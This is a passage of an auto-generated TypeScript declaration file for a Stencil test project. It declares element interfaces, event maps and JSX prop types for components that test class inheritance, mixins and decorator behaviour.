mixin class.\n     * This tests Bug B: importing abstract mixin classes from a lib - those classes'\n     * members should be properly merged in and have reactivity.\n     */\n    interface HTMLExtendsExternalAbstractElement extends Components.ExtendsExternalAbstract, HTMLStencilElement {\n    }\n    var HTMLExtendsExternalAbstractElement: {\n        prototype: HTMLExtendsExternalAbstractElement;\n        new (): HTMLExtendsExternalAbstractElement;\n    };\n    /**\n     * A component that extends from an external library's component which itself uses a mixin pattern.\n     * This tests Bug A: a project importing/rendering from a lib whose component utilises a mixin/abstract\n     * class pattern - the decorated class members should be properly merged and have reactivity.\n     */\n    interface HTMLExtendsExternalWithMixinElement extends Components.ExtendsExternalWithMixin, HTMLStencilElement {\n    }\n    var HTMLExtendsExternalWithMixinElement: {\n        prototype: HTMLExtendsExternalWithMixinElement;\n        new (): HTMLExtendsExternalWithMixinElement;\n    };\n    interface HTMLExtendsLifecycleBasicElement extends Components.ExtendsLifecycleBasic, HTMLStencilElement {\n    }\n    var HTMLExtendsLifecycleBasicElement: {\n        prototype: HTMLExtendsLifecycleBasicElement;\n        new (): HTMLExtendsLifecycleBasicElement;\n    };\n    interface HTMLExtendsLifecycleMultilevelElement extends Components.ExtendsLifecycleMultilevel, HTMLStencilElement {\n    }\n    var HTMLExtendsLifecycleMultilevelElement: {\n        prototype: HTMLExtendsLifecycleMultilevelElement;\n        new (): HTMLExtendsLifecycleMultilevelElement;\n    };\n    interface HTMLExtendsLocalElementEventMap {\n        \"myEvent\": string;\n    }\n    interface HTMLExtendsLocalElement extends Components.ExtendsLocal, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLExtendsLocalElementEventMap>(type: K, listener: (this: HTMLExtendsLocalElement, ev: ExtendsLocalCustomEvent<HTMLExtendsLocalElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLExtendsLocalElementEventMap>(type: K, listener: (this: HTMLExtendsLocalElement, ev: ExtendsLocalCustomEvent<HTMLExtendsLocalElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLExtendsLocalElement: {\n        prototype: HTMLExtendsLocalElement;\n        new (): HTMLExtendsLocalElement;\n    };\n    interface HTMLExtendsMethodsElement extends Components.ExtendsMethods, HTMLStencilElement {\n    }\n    var HTMLExtendsMethodsElement: {\n        prototype: HTMLExtendsMethodsElement;\n        new (): HTMLExtendsMethodsElement;\n    };\n    /**\n     * MixedDecoratorsCmp - Demonstrates mixed decorator type conflicts in inheritance chains\n     * This component:\n     * 1. Extends MixedDecoratorsBase (inherits base decorators)\n     * 2. Defines conflicting decorators with same names but different decorator types\n     * 3. Verifies runtime behavior when mixed decorator types exist\n     * 4. Renders UI showing which decorator type is active (component decorator type should win)\n     */\n    interface HTMLExtendsMixedDecoratorsElement extends Components.ExtendsMixedDecorators, HTMLStencilElement {\n    }\n    var HTMLExtendsMixedDecoratorsElement: {\n        prototype: HTMLExtendsMixedDecoratorsElement;\n        new (): HTMLExtendsMixedDecoratorsElement;\n    };\n    interface HTMLExtendsMixinCmpElement extends Components.ExtendsMixinCmp, HTMLStencilElement {\n    }\n    var HTMLExtendsMixinCmpElement: {\n        prototype: HTMLExtendsMixinCmpElement;\n        new (): HTMLExtendsMixinCmpElement;\n    };\n    interface HTMLExtendsMixinSlotCmpElement extends Components.ExtendsMixinSlotCmp, HTMLStencilElement {\n    }\n    var HTMLExtendsMixinSlotCmpElement: {\n        prototype: HTMLExtendsMixinSlotCmpElement;\n        new (): HTMLExtendsMixinSlotCmpElement;\n    };\n    /**\n     * Test Case #3: Property & State Inheritance Basics\n     * This component extends PropsStateBase to test:\n     * -\n     * @Prop inheritance from base class\n     * -\n     * @State inheritance from base class\n     * - Additional\n     * @Prop and\n     * @State without conflicts\n     * - Property reactivity (inherited props/state trigger re-renders)\n     */\n    interface HTMLExtendsPropsStateElement extends Components.ExtendsPropsState, HTMLStencilElement {\n    }\n    var HTMLExtendsPropsStateElement: {\n        prototype: HTMLExtendsPropsStateElement;\n        new (): HTMLExtendsPropsStateElement;\n    };\n    /**\n     * Test Case #5: Render Method Inheritance\n     * This component extends RenderBase to test:\n     * - Render Inheritance: Component render() method calls super.render() to include parent template\n     * - Template Composition: Component composes parent template with additional content and structure\n     * - Slot Integration: Parent template slots work correctly when inherited and extended\n     * - CSS Class Inheritance: CSS classes from parent template maintained in component extension\n     */\n    interface HTMLExtendsRenderElement extends Components.ExtendsRender, HTMLStencilElement {\n    }\n    var HTMLExtendsRenderElement: {\n        prototype: HTMLExtendsRenderElement;\n        new (): HTMLExtendsRenderElement;\n    };\n    interface HTMLExtendsViaHostCmpElement extends Components.ExtendsViaHostCmp, HTMLStencilElement {\n    }\n    var HTMLExtendsViaHostCmpElement: {\n        prototype: HTMLExtendsViaHostCmpElement;\n        new (): HTMLExtendsViaHostCmpElement;\n    };\n    /**\n     * WatchCmp - Demonstrates\n     * @Watch decorator inheritance\n     * This component:\n     * 1. Extends WatchBase (inherits base\n     * @Watch decorators)\n     * 2. Adds additional\n     * @Watch decorators\n     * 3. Overrides base watch handler (overrideProp)\n     * 4. Demonstrates watch execution order\n     * 5. Demonstrates reactive property chains\n     */\n    interface HTMLExtendsWatchElement extends Components.ExtendsWatch, HTMLStencilElement {\n    }\n    var HTMLExtendsWatchElement: {\n        prototype: HTMLExtendsWatchElement;\n        new (): HTMLExtendsWatchElement;\n    };\n    interface HTMLInheritanceCheckboxGroupElementEventMap {\n        \"valueChange\": string[];\n    }\n    interface HTMLInheritanceCheckboxGroupElement extends Components.InheritanceCheckboxGroup, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLInheritanceCheckboxGroupElementEventMap>(type: K, listener: (this: HTMLInheritanceCheckboxGroupElement, ev: InheritanceCheckboxGroupCustomEvent<HTMLInheritanceCheckboxGroupElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLInheritanceCheckboxGroupElementEventMap>(type: K, listener: (this: HTMLInheritanceCheckboxGroupElement, ev: InheritanceCheckboxGroupCustomEvent<HTMLInheritanceCheckboxGroupElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLInheritanceCheckboxGroupElement: {\n        prototype: HTMLInheritanceCheckboxGroupElement;\n        new (): HTMLInheritanceCheckboxGroupElement;\n    };\n    interface HTMLInheritanceRadioGroupElementEventMap {\n        \"valueChange\": string;\n    }\n    interface HTMLInheritanceRadioGroupElement extends Components.InheritanceRadioGroup, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLInheritanceRadioGroupElementEventMap>(type: K, listener: (this: HTMLInheritanceRadioGroupElement, ev: InheritanceRadioGroupCustomEvent<HTMLInheritanceRadioGroupElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLInheritanceRadioGroupElementEventMap>(type: K, listener: (this: HTMLInheritanceRadioGroupElement, ev: InheritanceRadioGroupCustomEvent<HTMLInheritanceRadioGroupElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLInheritanceRadioGroupElement: {\n        prototype: HTMLInheritanceRadioGroupElement;\n        new (): HTMLInheritanceRadioGroupElement;\n    };\n    /**\n     * Main component that demonstrates inheritance-based scaling\n     * with 3 components and 2 controllers (ValidationController and FocusController)\n     */\n    interface HTMLInheritanceScalingDemoElement extends Components.InheritanceScalingDemo, HTMLStencilElement {\n    }\n    var HTMLInheritanceScalingDemoElement: {\n        prototype: HTMLInheritanceScalingDemoElement;\n        new (): HTMLInheritanceScalingDemoElement;\n    };\n    interface HTMLInheritanceTextInputElement extends Components.InheritanceTextInput, HTMLStencilElement {\n    }\n    var HTMLInheritanceTextInputElement: {\n        prototype: HTMLInheritanceTextInputElement;\n        new (): HTMLInheritanceTextInputElement;\n    };\n    /**\n     * A component that uses a mixin factory pattern internally.\n     * This tests the scenario where a consumer project imports and renders a component\n     * from an external library, and that component internally uses a mixin pattern.\n     * The mixin's decorated members should be properly merged and reactive.\n     * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n     */\n    interface HTMLSiblingWithMixinElement extends Components.SiblingWithMixin, HTMLStencilElement {\n    }\n    var HTMLSiblingWithMixinElement: {\n        prototype: HTMLSiblingWithMixinElement;\n        new (): HTMLSiblingWithMixinElement;\n    };\n    interface HTMLTsTargetPropsElement extends Components.TsTargetProps, HTMLStencilElement {\n    }\n    var HTMLTsTargetPropsElement: {\n        prototype: HTMLTsTargetPropsElement;\n        new (): HTMLTsTargetPropsElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"composition-checkbox-group\": HTMLCompositionCheckboxGroupElement;\n        \"composition-radio-group\": HTMLCompositionRadioGroupElement;\n        \"composition-scaling-demo\": HTMLCompositionScalingDemoElement;\n        \"composition-text-input\": HTMLCompositionTextInputElement;\n        \"extended-cmp\": HTMLExtendedCmpElement;\n        \"extended-cmp-cmp\": HTMLExtendedCmpCmpElement;\n        \"extends-abstract\": HTMLExtendsAbstractElement;\n        \"extends-cmp-cmp\": HTMLExtendsCmpCmpElement;\n        \"extends-conflicts\": HTMLExtendsConflictsElement;\n        \"extends-controller-updates\": HTMLExtendsControllerUpdatesElement;\n        \"extends-direct-state\": HTMLExtendsDirectStateElement;\n        \"extends-events\": HTMLExtendsEventsElement;\n        \"extends-external\": HTMLExtendsExternalElement;\n        \"extends-external-abstract\": HTMLExtendsExternalAbstractElement;\n        \"extends-external-with-mixin\": HTMLExtendsExternalWithMixinElement;\n        \"extends-lifecycle-basic\": HTMLExtendsLifecycleBasicElement;\n        \"extends-lifecycle-multilevel\": HTMLExtendsLifecycleMultilevelElement;\n        \"extends-local\": HTMLExtendsLocalElement;\n        \"extends-methods\": HTMLExtendsMethodsElement;\n        \"extends-mixed-decorators\": HTMLExtendsMixedDecoratorsElement;\n        \"extends-mixin-cmp\": HTMLExtendsMixinCmpElement;\n        \"extends-mixin-slot-cmp\": HTMLExtendsMixinSlotCmpElement;\n        \"extends-props-state\": HTMLExtendsPropsStateElement;\n        \"extends-render\": HTMLExtendsRenderElement;\n        \"extends-via-host-cmp\": HTMLExtendsViaHostCmpElement;\n        \"extends-watch\": HTMLExtendsWatchElement;\n        \"inheritance-checkbox-group\": HTMLInheritanceCheckboxGroupElement;\n        \"inheritance-radio-group\": HTMLInheritanceRadioGroupElement;\n        \"inheritance-scaling-demo\": HTMLInheritanceScalingDemoElement;\n        \"inheritance-text-input\": HTMLInheritanceTextInputElement;\n        \"sibling-with-mixin\": HTMLSiblingWithMixinElement;\n        \"ts-target-props\": HTMLTsTargetPropsElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface CompositionCheckboxGroup {\n        \"onValueChange\"?: (event: CompositionCheckboxGroupCustomEvent<string[]>) => void;\n    }\n    interface CompositionRadioGroup {\n        \"onValueChange\"?: (event: CompositionRadioGroupCustomEvent<string>) => void;\n    }\n    /**\n     * Main component that demonstrates composition-based scaling\n     * with 3 components and 2 controllers (ValidationController and FocusController)\n     */\n    interface CompositionScalingDemo {\n    }\n    interface CompositionTextInput {\n    }\n    interface ExtendedCmp {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    interface ExtendedCmpCmp {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    interface ExtendsAbstract {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    interface ExtendsCmpCmp {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    /**\n     * ConflictsCmp - Demonstrates decorator conflicts in inheritance chains\n     * This component:\n     * 1. Extends ConflictsBase (inherits base decorators)\n     * 2. Defines duplicate decorators with same names but different values/behavior\n     * 3. Verifies component decorators override base decorators\n     * 4. Renders UI showing which version is active (component should win)\n     */\n    interface ExtendsConflicts {\n        /**\n          * @default 'base only prop value'\n         */\n        \"baseOnlyProp\"?: string;\n        /**\n          * @default 'component prop value'\n         */\n        \"duplicateProp\"?: string;\n    }\n    interface ExtendsControllerUpdates {\n    }\n    interface ExtendsDirectState {\n    }\n    /**\n     * EventsCmp - Demonstrates\n     * @Listen decorator inheritance\n     * This component:\n     * 1. Extends EventBase (inherits base\n     * @Listen decorators)\n     * 2. Adds additional\n     * @Listen decorators\n     * 3. Overrides base event handler\n     * 4. Demonstrates event bubbling and propagation\n     */\n    interface ExtendsEvents {\n    }\n    interface ExtendsExternal {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    /**\n     * A component that extends from an external library's abstract mixin class.\n     * This tests Bug B: importing abstract mixin classes from a lib - those classes'\n     * members should be properly merged in and have reactivity.\n     */\n    interface ExtendsExternalAbstract {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    /**\n     * A component that extends from an external library's component which itself uses a mixin pattern.\n     * This tests Bug A: a project importing/rendering from a lib whose component utilises a mixin/abstract\n     * class pattern - the decorated class members should be properly merged and have reactivity.\n     */\n    interface ExtendsExternalWithMixin {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    interface ExtendsLifecycleBasic {\n    }\n    interface ExtendsLifecycleMultilevel {\n    }\n    interface ExtendsLocal {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        \"onMyEvent\"?: (event: ExtendsLocalCustomEvent<string>) => void;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    interface ExtendsMethods {\n    }\n    /**\n     * MixedDecoratorsCmp - Demonstrates mixed decorator type conflicts in inheritance chains\n     * This component:\n     * 1. Extends MixedDecoratorsBase (inherits base decorators)\n     * 2. Defines conflicting decorators with same names but different decorator types\n     * 3. Verifies runtime behavior when mixed decorator types exist\n     * 4. Renders UI showing which decorator type is active (component decorator type should win)\n     */\n    interface ExtendsMixedDecorators {\n        /**\n          * @default 'base only prop value'\n         */\n        \"baseOnlyProp\"?: string;\n        /**\n          * @default 'base prop value'\n         */\n        \"mixedName\"?: string;\n        /**\n          * @default 'component prop value'\n         */\n        \"mixedStateName\"?: string;\n    }\n    interface ExtendsMixinCmp {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n        /**\n          * @default 'mixin b text'\n         */\n        \"prop3\"?: string;\n    }\n    interface ExtendsMixinSlotCmp {\n    }\n    /**\n     * Test Case #3: Property & State Inheritance Basics\n     * This component extends PropsStateBase to test:\n     * -\n     * @Prop inheritance from base class\n     * -\n     * @State inheritance from base class\n     * - Additional\n     * @Prop and\n     * @State without conflicts\n     * - Property reactivity (inherited props/state trigger re-renders)\n     */\n    interface ExtendsPropsState {\n        /**\n          * @default 0\n         */\n        \"baseCount\"?: number;\n        /**\n          * @default 'base prop value'\n         */\n        \"baseProp\"?: string;\n        /**\n          * @default 'component prop value'\n         */\n        \"componentProp\"?: string;\n    }\n    /**\n     * Test Case #5: Render Method Inheritance\n     * This component extends RenderBase to test:\n     * - Render Inheritance: Component render() method calls super.render() to include parent template\n     * - Template Composition: Component composes parent template with additional content and structure\n     * - Slot Integration: Parent template slots work correctly when inherited and extended\n     * - CSS Class Inheritance: CSS classes from parent template maintained in component extension\n     */\n    interface ExtendsRender {\n    }\n    interface ExtendsViaHostCmp {\n    }\n    /**\n     * WatchCmp - Demonstrates\n     * @Watch decorator inheritance\n     * This component:\n     * 1. Extends WatchBase (inherits base\n     * @Watch decorators)\n     * 2. Adds additional\n     * @Watch decorators\n     * 3. Overrides base watch handler (overrideProp)\n     * 4. Demonstrates watch execution order\n     * 5. Demonstrates reactive property chains\n     */\n    interface ExtendsWatch {\n        /**\n          * @default 0\n         */\n        \"baseCount\"?: number;\n        /**\n          * @default 'base prop initial'\n         */\n        \"baseProp\"?: string;\n        /**\n          * @default 'child prop initial'\n         */\n        \"childProp\"?: string;\n        /**\n          * @default 'override prop initial'\n         */\n        \"overrideProp\"?: string;\n    }\n    interface InheritanceCheckboxGroup {\n        \"onValueChange\"?: (event: InheritanceCheckboxGroupCustomEvent<string[]>) => void;\n    }\n    interface InheritanceRadioGroup {\n        \"onValueChange\"?: (event: InheritanceRadioGroupCustomEvent<string>) => void;\n    }\n    /**\n     * Main component that demonstrates inheritance-based scaling\n     * with 3 components and 2 controllers (ValidationController and FocusController)\n     */\n    interface InheritanceScalingDemo {\n    }\n    interface InheritanceTextInput {\n    }\n    /**\n     * A component that uses a mixin factory pattern internally.\n     * This tests the scenario where a consumer project imports and renders a component\n     * from an external library, and that component internally uses a mixin pattern.\n     * The mixin's decorated members should be properly merged and reactive.\n     * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n     */\n    interface SiblingWithMixin {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    interface TsTargetProps {\n        /**\n          * @default 'basicProp'\n         */\n        \"basicProp\"?: string;\n        \"decoratedGetterSetterProp\"?: number;\n        /**\n          * @default -10\n         */\n        \"decoratedProp\"?: number;\n        \"dynamicLifecycle\"?: string[];\n    }\n\n    interface ExtendedCmpAttributes {\n        \"getterProp\": string;\n        \"prop1\": string;\n        \"prop2\": string;\n    }\n    interface ExtendedCmpCmpAttributes {\n        \"getterProp\": string;\n        \"prop1\": string;\n        \"prop2\": string;\n    }\n    interface ExtendsAbstractAttributes {\n        \"getterProp\": string;\n        \"prop2\": string;\n        \"prop1\": string;\n    }\n    interface ExtendsCmpCmpAttributes {\n        \"getterProp\": string;\n        \"prop2\": string;\n        \"prop1\": string;\n    }\n    interface ExtendsConflictsAttributes {\n        \"baseOnlyProp\": string;\n        \"duplicateProp\": string;\n    }\n    interface ExtendsExternalAttributes {\n        \"getterProp\": string;\n        \"prop2\": string;\n        \"prop1\": string;\n    }\n    interface ExtendsExternalAbstractAttributes {\n        \"getterProp\": string;\n        \"prop2\": string;\n        \"prop1\": string;\n    }\n    interface ExtendsExternalWithMixinAttributes {\n        \"getterProp\": string;\n        \"prop2\": string;\n        \"prop1\": string;\n    }\n    interface ExtendsLocalAttributes {\n        \"getterProp\": string;\n        \"prop2\": string;\n        \"prop1\": string;\n    }\n    interface ExtendsMixedDecoratorsAttributes {\n        \"mixedName\": string;\n        \"baseOnlyProp\": string;\n        \"mixedStateName\": string;\n    }\n    interface ExtendsMixinCmpAttributes {\n        \"prop3\": string;\n        \"getterProp\": string;\n        \"prop2\": string;\n        \"prop1\": string;\n    }\n    interface ExtendsPropsStateAttributes {\n        \"baseProp\": string;\n        \"baseCount\": number;\n        \"componentProp\": string;\n    }\n    interface ExtendsWatchAttributes {\n        \"baseProp\": string;\n        \"baseCount\": number;\n        \"overrideProp\": string;\n        \"childProp\": string;\n    }\n    interface SiblingWithMixinAttributes {\n        \"getterProp\": string;\n        \"prop1\": string;\n        \"prop2\": string;\n    }\n    interface TsTargetPropsAttributes {\n        \"basicProp\": string;\n        \"decoratedProp\": number;\n        \"decoratedGetterSetterProp\": number;\n    }\n\n    interface IntrinsicElements {\n        \"composition-checkbox-group\": CompositionCheckboxGroup;\n        \"composition-radio-group\": CompositionRadioGroup;\n        \"composition-scaling-demo\": CompositionScalingDemo;\n        \"composition-text-input\": CompositionTextInput;\n        \"extended-cmp\": Omit<ExtendedCmp, keyof ExtendedCmpAttributes> & { [K in keyof ExtendedCmp & keyof ExtendedCmpAttributes]?: ExtendedCmp[K] } & { [K in keyof ExtendedCmp & keyof ExtendedCmpAttributes as `attr:${K}`]?: ExtendedCmpAttributes[K] } & { [K in keyof ExtendedCmp & keyof ExtendedCmpAttributes as `prop:${K}`]?: ExtendedCmp[K] };\n        \"extended-cmp-cmp\": Omit<ExtendedCmpCmp, keyof ExtendedCmpCmpAttributes> & { [K in keyof ExtendedCmpCmp & keyof ExtendedCmpCmpAttributes]?: ExtendedCmpCmp[K] } & { [K in keyof ExtendedCmpCmp & keyof ExtendedCmpCmpAttributes as `attr:${K}`]?: ExtendedCmpCmpAttributes[K] } & { [K in keyof ExtendedCmpCmp & keyof ExtendedCmpCmpAttributes as `prop:${K}`]?: ExtendedCmpCmp[K] };\n        \"extends-abstract\": Omit<ExtendsAbstract, keyof ExtendsAbstractAttributes> & { [K in keyof ExtendsAbstract & keyof ExtendsAbstractAttributes]?: ExtendsAbstract[K] } & { [K in keyof ExtendsAbstract & keyof ExtendsAbstractAttributes as `attr:${K}`]?: ExtendsAbstractAttributes[K] } & { [K in keyof ExtendsAbstract & keyof ExtendsAbstractAttributes as `prop:${K}`]?: ExtendsAbstract[K] };\n        \"extends-cmp-cmp\": Omit<ExtendsCmpCmp, keyof ExtendsCmpCmpAttributes> & { [K in keyof ExtendsCmpCmp & keyof ExtendsCmpCmpAttributes]?: ExtendsCmpCmp[K] } & { [K in keyof ExtendsCmpCmp & keyof ExtendsCmpCmpAttributes as `attr:${K}`]?: ExtendsCmpCmpAttributes[K] } & { [K in keyof ExtendsCmpCmp & keyof ExtendsCmpCmpAttributes as `prop:${K}`]?: ExtendsCmpCmp[K] };\n        \"extends-conflicts\": Omit<ExtendsConflicts, keyof ExtendsConflictsAttributes> & { [K in keyof ExtendsConflicts & keyof ExtendsConflictsAttributes]?: ExtendsConflicts[K] } & { [K in keyof ExtendsConflicts & keyof ExtendsConflictsAttributes as `attr:${K}`]?: ExtendsConflictsAttributes[K] } & { [K in keyof ExtendsConflicts & keyof ExtendsConflictsAttributes as `prop:${K}`]?: ExtendsConflicts[K] };\n        \"extends-controller-updates\": ExtendsControllerUpdates;\n        \"extends-direct-state\": ExtendsDirectState;\n        \"extends-events\": ExtendsEvents;\n        \"extends-external\": Omit<ExtendsExternal, keyof ExtendsExternalAttributes> & { [K in keyof ExtendsExternal & keyof ExtendsExternalAttributes]?: ExtendsExternal[K] } & { [K in keyof ExtendsExternal & keyof ExtendsExternalAttributes as `attr:${K}`]?: ExtendsExternalAttributes[K] } & { [K in keyof ExtendsExternal & keyof ExtendsExternalAttributes as `prop:${K}`]?: ExtendsExternal[K] };\n        \"extends-external-abstract\": Omit<ExtendsExternalAbstract, keyof ExtendsExternalAbstractAttributes> & { [K in keyof ExtendsExternalAbstract & keyof ExtendsExternalAbstractAttributes]?: ExtendsExternalAbstract[K] } & { [K in keyof ExtendsExternalAbstract & keyof ExtendsExternalAbstractAttributes as `attr:${K}`]?: ExtendsExternalAbstractAttributes[K] } & { [K in keyof ExtendsExternalAbstract & keyof ExtendsExternalAbstractAttributes as `prop:${K}`]?: ExtendsExternalAbstract[K] };\n        \"extends-external-with-mixin\": Omit<ExtendsExternalWithMixin, keyof ExtendsExternalWithMixinAttributes> & { [K in keyof ExtendsExternalWithMixin & keyof ExtendsExternalWithMixinAttributes]?: ExtendsExternalWithMixin[K] } & { [K in keyof ExtendsExternalWithMixin & keyof ExtendsExternalWithMixinAttributes as `attr:${K}`]?: ExtendsExternalWithMixinAttributes[K] } & { [K in keyof ExtendsExternalWithMixin & keyof ExtendsExternalWithMixinAttributes as `prop:${K}`]?: ExtendsExternalWithMixin[K] };\n        \"extends-lifecycle-basic\": ExtendsLifecycleBasic;\n        \"extends-lifecycle-multilevel\": ExtendsLifecycleMultilevel;\n        \"extends-local\": Omit<ExtendsLocal, keyof ExtendsLocalAttributes> & { [K in keyof ExtendsLocal & keyof ExtendsLocalAttributes]?: ExtendsLocal[K] } & { [K in keyof ExtendsLocal & keyof ExtendsLocalAttributes as `attr:${K}`]?: ExtendsLocalAttributes[K] } & { [K in keyof ExtendsLocal & keyof ExtendsLocalAttributes as `prop:${K}`]?: ExtendsLocal[K] };\n        \"extends-methods\": ExtendsMethods;\n        \"extends-mixed-decorators\": Omit<ExtendsMixedDecorators, keyof ExtendsMixedDecoratorsAttributes> & { [K in keyof ExtendsMixedDecorators & keyof ExtendsMixedDecoratorsAttributes]?: ExtendsMixedDecorators[K] } & { [K in keyof ExtendsMixedDecorators & keyof ExtendsMixedDecoratorsAttributes as `attr:${K}`]?: ExtendsMixedDecoratorsAttributes[K] } & { [K in keyof ExtendsMixedDecorators & keyof ExtendsMixedDecoratorsAttributes as `prop:${K}`]?: ExtendsMixedDecorators[K] };\n        \"extends-mixin-cmp\": Omit<ExtendsMixinCmp, keyof ExtendsMixinCmpAttributes> & { [K in keyof ExtendsMixinCmp & keyof ExtendsMixinCmpAttributes]?: ExtendsMixinCmp[K] } & { [K in keyof ExtendsMixinCmp & keyof ExtendsMixinCmpAttributes as `attr:${K}`]?: ExtendsMixinCmpAttributes[K] } & { [K in keyof ExtendsMixinCmp & keyof ExtendsMixinCmpAttributes as `prop:${K}`]?: ExtendsMixinCmp[K] };\n        \"extends-mixin-slot-cmp\": ExtendsMixinSlotCmp;\n        \"extends-props-state\": Omit<ExtendsPropsState, keyof ExtendsPropsStateAttributes> & { [K in keyof ExtendsPropsState & keyof ExtendsPropsStateAttributes]?: ExtendsPropsState[K] } & { [K in keyof ExtendsPropsState & keyof ExtendsPropsStateAttributes as `attr:${K}`]?: ExtendsPropsStateAttributes[K] } & { [K in keyof ExtendsPropsState & keyof ExtendsPropsStateAttributes as `prop:${K}`]?: ExtendsPropsState[K] };\n        \"extends-render\": ExtendsRender;\n        \"extends-via-host-cmp\": ExtendsViaHostCmp;\n        \"extends-watch\": Omit<ExtendsWatch, keyof ExtendsWatchAttributes> & { [K in keyof ExtendsWatch & keyof ExtendsWatchAttributes]?: ExtendsWatch[K] } & { [K in keyof ExtendsWatch & keyof ExtendsWatchAttributes as `attr:${K}`]?: ExtendsWatchAttributes[K] } & { [K in keyof ExtendsWatch & keyof ExtendsWatchAttributes as `prop:${K}`]?: ExtendsWatch[K] };\n        \"inheritance-checkbox-group\": InheritanceCheckboxGroup;\n        \"inheritance-radio-group\": InheritanceRadioGroup;\n        \"inheritance-scaling-demo\": 